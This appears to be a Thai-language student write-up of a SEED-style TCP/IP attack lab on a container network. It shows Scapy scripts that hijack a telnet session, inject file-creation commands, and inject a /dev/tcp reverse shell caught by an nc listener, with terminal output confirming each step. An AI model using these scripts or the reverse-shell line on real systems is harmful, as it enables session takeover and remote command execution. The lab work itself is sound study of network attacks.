TCP/IP Attack Lab 2

Container:

```
[03/11/25]seed@VM:~/.../Lab5-Labsetup$ dockps
03e6c982786a user1-10.9.0.6
2e033055c112 victim-10.9.0.5
b12de4424597 seed-attacker-lab5
a147926a7f52 user2-10.9.0.7
[03/11/25]seed@VM:~/.../Lab5-Labsetup$
```

Task 3: TCP Session Hijacking

Attacker เปิดดักฟังเพื่อรอรับค่า Sequence

```
>>> pkt = sniff(iface="br-58c05ab21c23",filter="tcp")
```

User 1 (10.9.0.6) telnet เข้าเครื่อง victim (10.9.0.5)

```
root@03e6c982786a:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
2e033055c112 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86 64)
                   https://help.ubuntu.com
 * Documentation:
 * Management:
                   https://landscape.canonical.com
 * Support:
                   https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Wed Mar 12 03:47:14 UTC 2025 from user1-10.9.0.6.net-10.9.0.0 on pts/2
seed@2e033055c112:~$
```

Attacker เช็คค่า sequence ที่ดักได้

```
Source
                                                                      Destination
                                                                                                          Protocol Length Info
                                  10.9.0.6
10.9.0.5
      89 3.263363
                                                                                                          TCP
TELNET
                                                                                                                             66 36524 → 23 [ACK] Seq=89 Ack=518 Win=64256 Len=0 TSval=3990748013 TSecr=285094...
                                                                                                                             68 Telnet Data ...
66 36524 → 23 [ACK] Seq=89 Ack=520 Win=64256 Len=0 TSval=3990748013 TSecr=285094.
      90 3.263407
91 3.263416
                                                                      10.9.0.6
                                  10.9.0.6
                                                                      10.9.0.5
                                                                                                           TCP
      92 3.263692
93 3.263707
                                  10.9.0.5
                                                                      10.9.0.6
                                                                                                                           148 Telnet Data ...
66 36524 - 23 [ACK] Seq=89 Ack=602 Win=64256 Len=0 TSval=3990748013 TSecr=285094...
                                                                                                           TELNET
                                                                                                                             68 Telnet Data
                                                                                                           TELNET
      94 3.263805
                                  10.9.0.5
                                                                      10.9.0.6
      95 3.263817
96 3.273427
                                                                                                                             66 35524 - 23 [ACK] Seq=89 Ack=604 Win=64256 Len=0 TSval=3990748013 TSecr=285094.
87 Telnet Data ...
                                                                                                           TELNET
Frame 97: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface -, id 0
Ethernet II, Src: 02:42:0a:09:00:06 (02:42:0a:09:00:06), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5
Transmission Control Protocol, Src Port: 36524, Dst Port: 23, Seq: 89, Ack: 625, Len: 0
Source Port: 36524
Destination Port: 23
     [Stream index: 0]
[TCP Segment Len: 0]
Sequence number: 89
                                            (relative sequence number)
     [Next sequence number: 89 (relative sequence number)]
Acknowledgment number: 625 (relative ack number)
Acknowledgment number (raw): 844555534
                      = Header Length: 32 bytes (8)
     1000 .... = Header
Flags: 0x010 (ACK)
```

นำค่ามาใส่ code ที่เตรียมไว้ โดย user 1 (10.9.0.6) เป็น source และ victim (10.9.0.5) เป็น destination แล้วรัน code ยิง packet

```
*tcp hijack manually.py
 Open
     ▼ 1
                                                                 Save
                                 ~/Documents/Lab5-Labsetup/volumes
 1#!/usr/bin/env python3
 2 import sys
 3 from scapy.all import *
 5 print("SENDING SESSION HIJACKING PACKET...")
6 IPLayer = IP(src="10.9.0.6", dst="10.9.0.5")
 7 TCPLayer = TCP(sport=36524, dport=23, flags="A",
                    seg=4001748085, ack=844555534)
8
9
10 Data = "\r touch hellooo.txt\r"
11 pkt = IPLayer/TCPLayer/Data
12 ls(pkt)
13 send(pkt, verbose=0)
```

```
[03/27/25]seed@VM:~/.../volumes$ sudo python3 tcp hijack manually.py
SENDING SESSION HIJACKING PACKET...
version
           : BitField (4 bits)
                                                   = 4
                                                                      (4)
ihl
           : BitField (4 bits)
                                                   = None
                                                                      (None)
tos
           : XByteField
                                                   = 0
                                                                      (0)
                                                  = None
len
           : ShortField
                                                                      (None)
id
           : ShortField
                                                  = 1
                                                                      (1)
           : FlagsField (3 bits)
                                                  = <Flag 0 ()>
                                                                      (<Flag 0 ()>)
flags
           : BitField (13 bits)
frag
                                                                      (0)
ttl
           : ByteField
                                                   = 64
                                                                      (64)
           : ByteEnumField
                                                  = 6
proto
                                                                      (0)
chksum
           : XShortField
                                                   = None
                                                                      (None)
           : SourceIPField
                                                  = '10.9.0.6'
                                                                      (None)
src
                                                  = '10.9.0.5'
dst
           : DestIPField
                                                                      (None)
options
           : PacketListField
                                                  = []
                                                                      ([])
           : ShortEnumField
                                                  = 36524
                                                                      (20)
sport
           : ShortEnumField
dport
                                                  = 23
                                                                      (80)
           : IntField
                                                  = 4001748085
seq
                                                                      (0)
           : IntField
ack
                                                  = 844555534
                                                                      (0)
dataofs
           : BitField (4 bits)
                                                  = None
                                                                      (None)
           : BitField (3 bits)
reserved
                                                                      (0)
flags
           : FlagsField (9 bits)
                                                  = <Flag 16 (A)>
                                                                      (<Flag 2 (S)>)
window
           : ShortField
                                                                      (8192)
                                                  = 8192
           : XShortField
chksum
                                                   = None
                                                                      (None)
urgptr
           : ShortField
                                                  = 0
                                                                      (0)
                                                                     (b'')
           : TCPOptionsField
options
                                                   = []
load
           : StrField
                                                  = b'\r touch hellooo.txt\r' (b'')
[03/27/25]seed@VM:~/.../volumes$
```

เมื่อส่งสำเร็จ จะเห็นว่ามี packet ถูกส่งออกไปเสมือนมาจาก 10.9.0.6 (ใช้คำสั่ง sudo tcpdump -i <port> -n ในการดัก)

```
08:01:44.959188 IP 10.9.0.6.36524 > 10.9.0.5.23: Flags [.], ack 625, win 502, options [nop,nop,TS val 3990748023 ecr 2850941117], length 0 08:03:28.418316 IP6 fe80::42:21ff:febd:8596 > ff02::2: ICMP6, router solicitation, length 16 08:08:05.743084 ARP, Request who-has 10.9.0.5 is-at 02:42:08:09:00:05, length 28 08:08:05.778776 IP 10.9.0.6.36524 | 10.9.0.5 is-at 02:42:08:09:00:05, length 28 08:08:05.778776 IP 10.9.0.6.36524 | 10.9.0.5.23: Flags [.], ack 109, win 509, options [nop,nop,TS val 2851321937 ecr 3990748023], length 0 08:08:05.778950 IP 10.9.0.5.23 > 10.9.0.6.36524: Flags [P.], seq 625:668, ack 109, win 509, options [nop,nop,TS val 2851321938 ecr 3990748023], length 43 08:08:05.990502 IP 10.9.0.5.23 > 10.9.0.6.36524: Flags [P.], seq 625:689, ack 109, win 509, options [nop,nop,TS val 2851321938 ecr 3990748023], length 21 08:08:06.198704 IP 10.9.0.5.23 > 10.9.0.6.36524: Flags [P.], seq 625:689, ack 109, win 509, options [nop,nop,TS val 2851321938 ecr 3990748023], length 64 08:08:06.08006 IP 10.9.0.5.23 > 10.9.0.6.36524: Flags [P.], seq 625:689, ack 109, win 509, options [nop,nop,TS val 2851322356 ecr 3990748023], length 64 08:08:09.122842 IP 10.9.0.5.23 > 10.9.0.6.36524: Flags [P.], seq 625:689, ack 109, win 509, options [nop,nop,TS val 2851322786 ecr 3990748023], length 64 08:08:09.122842 IP 10.9.0.5.23 > 10.9.0.6.36524: Flags [P.], seq 625:689, ack 109, win 509, options [nop,nop,TS val 2851325280 ecr 3990748023], length 64 08:08:10.786699 ARP, Request who-has 10.9.0.6 tell 10.9.0.5, length 28 08:08:10.786718 ARP, Reply 10.9.0.6.36524: Flags [P.], seq 625:689, ack 109, win 509, options [nop,nop,TS val 2851325737 ecr 3990748023], length 64 08:08:12.579560 IP 10.9.0.5.23 > 10.9.0.6.36524: Flags [P.], seq 625:689, ack 109, win 509, options [nop,nop,TS val 2851325737 ecr 3990748023], length 64 08:08:12.579560 IP 10.9.0.5.23 > 10.9.0.6.36524: Flags [P.], seq 625:689, ack 109, win 509, options [nop,nop,TS val 2851335392 ecr 3990748023], length 64 08:08:19.234791 IP 10.9.0.5.23 > 10.9.0.6.36524: Flags [P.], seq
```

ที่ source 10.9.0.6 ตัวจริงจะไม่สามารถพิมพ์อะไรได้อีก แต่ที่ destination 10.9.0.5 จะมีไฟล์ถูกสร้างมาตามคำสั่งที่ถูกส่งมา ใน spoof packet

```
root@2e033055c112:/home/seed# ls
root@2e033055c112:/home/seed# ls
hellooo.txt
root@2e033055c112:/home/seed#
```

Task 3: TCP Session Hijacking – Optional: Launching the attack automatically

User 1 (10.9.0.6) telnet เข้าเครื่อง victim (10.9.0.5) ตามปกติ

```
root@03e6c982786a:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
2e033055c112 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86 64)
 * Documentation:
                   https://help.ubuntu.com
 * Management:
                   https://landscape.canonical.com
 * Support:
                   https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Fri Mar 28 12:06:51 UTC 2025 from user1-10.9.0.6.net-10.9.0.0 on pts/2
seed@2e033055c112:~$
seed@2e033055c112:~$ pwd
/home/seed
seed@2e033055c112:~$ ls
hellooo.txt
seed@2e033055c112:~$
seed@2e033055c112:~$
```

```
tcp_hijack_auto.py
 Open ▼ ₁Fl
                                                                Save
 1#!/usr/bin/env python3
 2 import sys
 3 from scapy.all import *
 5 def spoof(pkt):
 6
      old ip = pkt[IP]
 7
      old tcp = pkt[TCP]
 8
 9
      #TCP data length
      tcp len = old ip.len - old ip.ihl*4 - old tcp.dataofs*4
10
11
12
      ip = IP(src = old ip.src, dst = old ip.dst)
13
      tcp = TCP(sport = old tcp.sport, dport = old tcp.dport, flags = "A",
14
               seq = old tcp.seq+1, ack = old tcp.ack+1)
      data = "\r touch /home/seed/hijackAuto.txt\r"
15
16
      print("....SENDING SESSION HIJACKING PACKET....")
17
      pkt = ip/tcp/data
18
      send(pkt, verbose=0)
19
20
      ls(pkt)
21
      quit()
23 myFilter = 'tcp[tcpflags] & tcp-ack != 0 and src host 10.9.0.6 and dst
  host 10.9.0.5 and dst port 23'
24
25 sniff(iface='br-58c05ab21c23', filter=myFilter, prn=spoof)
[03/28/25]seed@VM:~/.../volumes$ sudo python3 tcp hijack auto.py
```

เมื่อ user 1 enter (หรือพิมพ์ตัวอักษรใดๆ) ฝั่ง attacker จะดักแล้วแย่งยิง packet ทันที ฝั่ง user 1 จะทำอะไรไม่ได้อีก

```
[03/28/25]seed@VM:~/.../volumes$ sudo python3 tcp hijack auto.py
....SENDING SESSION HIJACKING PACKET.....
version : BitField (4 bits)
                                                = 4
                                                                  (4)
ihl
          : BitField (4 bits)
                                                = None
                                                                  (None)
         : XByteField
tos
                                                = 0
                                                                  (0)
len
          : ShortField
                                                = None
                                                                  (None)
id
          : ShortField
                                                                  (1)
          : FlagsField (3 bits)
flags
                                                = <Flag 0 ()>
                                                                 (<Flag 0 ()>)
          : BitField (13 bits)
                                                = 0
frag
                                                                  (0)
          : ByteField
                                                = 64
                                                                 (64)
ttl
proto
          : ByteEnumField
                                                = 6
                                                                 (0)
chksum
         : XShortField
                                                = None
                                                                 (None)
                                                = '10.9.0.6'
          : SourceIPField
                                                                 (None)
                                                = '10.9.0.5'
         : DestIPField
                                                                  (None)
options
         : PacketListField
                                                = []
                                                                  ([])
          : ShortEnumField
                                                = 36816
sport
                                                                  (20)
dport
          : ShortEnumField
                                                = 23
                                                                  (80)
seq
          : IntField
                                                = 2320306766
                                                                  (0)
          : IntField
                                                = 1780595058
                                                                  (0)
dataofs
          : BitField
                      (4 bits)
                                               = None
                                                                  (None)
reserved : BitField (3 bits)
                                                                  (0)
                                               = <Flag 16 (A)>
                                                                 (<Flag 2 (S)>)
flags
          : FlagsField (9 bits)
          : ShortField
                                               = 8192
window
                                                                 (8192)
chksum
         : XShortField
                                                = None
                                                                  (None)
         : ShortField
                                                = 0
urgptr
                                                                  (0)
options
         : TCPOptionsField
                                                = []
                                                                  (b'')
load
                                                = b'\r touch /home/seed/hijackAuto.txt\r' (b'')
          : StrField
[03/28/25]seed@VM:~/.../volumes$
```

ที่ victim จะเห็นว่ามีไฟล์ถูกสร้างขึ้นมาใหม่ตาม data ที่ attacker ใส่คำสั่งไว้

```
root@2e033055c112:/home/seed# ls
hellooo.txt
root@2e033055c112:/home/seed# ls
hellooo.txt hijackAuto.txt
root@2e033055c112:/home/seed#
```

Task 4: Creating Reverse Shell using TCP Session Hijacking

Attacker เปิด port รอดึง session มาใช้

```
[03/28/25]seed@VM:~/.../Lab5-Labsetup$ nc -lnv 9090
Listening on 0.0.0.0 9090
```

เปลี่ยน data ใน code ให้เป็นคำสั่งที่จะดึง session มาหา attacker

```
tcp_hijack_auto.py
 1#!/usr/bin/env python3
 2 import sys
 3 from scapy.all import *
 5 def spoof(pkt):
      old ip = pkt[IP]
 6
 7
      old tcp = pkt[TCP]
 8
 9
      #TCP data length
10
      tcp len = old ip.len - old ip.ihl*4 - old tcp.dataofs*4
11
12
      ip = IP(src = old ip.src, dst = old ip.dst)
13
      tcp = TCP(sport = old tcp.sport, dport = old tcp.dport, flags = "A",
              seq = old tcp.seq+1, ack = old_tcp.ack+1)
14
15
      #data = "\r touch /home/seed/hijackAuto.txt\r"
16
      data = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r"
17
      print("....SENDING SESSION HIJACKING PACKET....")
18
19
      pkt = ip/tcp/data
20
      send(pkt, verbose=0)
21
      ls(pkt)
22
      quit()
23
24 myFilter = 'tcp[tcpflags] & tcp-ack != 0 and src host 10.9.0.6 and dst
  host 10.9.0.5 and dst port 23'
25
26 sniff(iface='br-58c05ab21c23', filter=myFilter, prn=spoof)
```

User 1 เชื่อมต่อหา victim ตามปกติ

```
root@03e6c982786a:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
2e033055c112 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86 64)
 * Documentation:
                   https://help.ubuntu.com
 * Management:
                   https://landscape.canonical.com
 * Support:
                   https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Fri Mar 28 13:20:09 UTC 2025 from user1-10.9.0.6.net-10.9.0.0 on pts/2
seed@2e033055c112:~$ ls
hellooo.txt hijackAuto.txt
seed@2e033055c112:~$
```

Attacker รัน code รอ user 1 พิมพ์ใดๆ เพื่อแย่ง session เมื่อ user 1 พิมพ์ ฝั่ง attacker ทำการยิง packet แย่ง session มาทันที

```
[03/28/25]seed@VM:~/.../volumes$ sudo python3 tcp_hijack_auto.py
.....SENDING SESSION HIJACKING PACKET.....
version : BitField (4 bits)
                                                                    (4)
                                                 = None
                                                                    (None)
ihl
          : BitField (4 bits)
tos
          : XByteField
                                                 = 0
                                                                    (O)
          : ShortField
                                                 = None
                                                                    (None)
id
          : ShortField
                                                 = 1
                                                                    (1)
          : FlagsField (3 bits)
                                                 = <Flag 0 ()>
                                                                    (<Flag 0 ()>)
flags
          : BitField (13 bits)
frag
                                                 = 0
                                                                    (0)
ttl
          : ByteField
                                                 = 64
                                                                    (64)
proto
          : ByteEnumField
                                                 = 6
                                                                    (O)
          : XShortField
chksum
                                                 = None
                                                                    (None)
                                                 = '10.9.0.6'
           : SourceIPField
src
                                                                    (None)
                                                 = '10.9.0.5'
dst
          : DestIPField
                                                                    (None)
options
          : PacketListField
                                                 = []
                                                                    ([])
          : ShortEnumField
                                                 = 36846
                                                                    (20)
sport
dport
           : ShortEnumField
                                                 = 23
                                                                    (80)
          : IntField
                                                 = 966114922
                                                                    (0)
seq
          : IntField
                                                 = 3333135422
                                                                    (0)
ack
dataofs
           : BitField (4 bits)
                                                 = None
                                                                    (None)
reserved : BitField (3 bits)
                                                 = 0
                                                                    (0)
flags
          : FlagsField (9 bits)
                                                 = <Flag 16 (A)>
                                                                    (<Flag 2 (S)>)
                                                                    (8192)
window
          : ShortField
                                                 = 8192
chksum
          : XShortField
                                                 = None
                                                                    (None)
urgptr
           : ShortField
                                                 = 0
                                                                    (0)
options
         : TCPOptionsField
                                                 = []
                                                                    (b'')
load
           : StrField
                                                 = b'\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r' (b'')
[03/28/25]seed@VM:~/.../volumes$
```

Attacker อีกหน้าต่างหนึ่งที่เปิด port รอไว้ จะถูกเชื่อมต่อทันที และสามารถพิมพ์คำสั่งไปยัง victim ได้ ส่วน user 1 ถูกแย่ง session ไม่สามารถพิมพ์อะไรได้อีก

```
[03/28/25]seed@VM:~/.../Lab5-Labsetup$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 55354
seed@2e033055c112:~$ ls
ls
hellooo.txt
hijackAuto.txt
seed@2e033055c112:~$ pwd
pwd
/home/seed
seed@2e033055c112:~$
```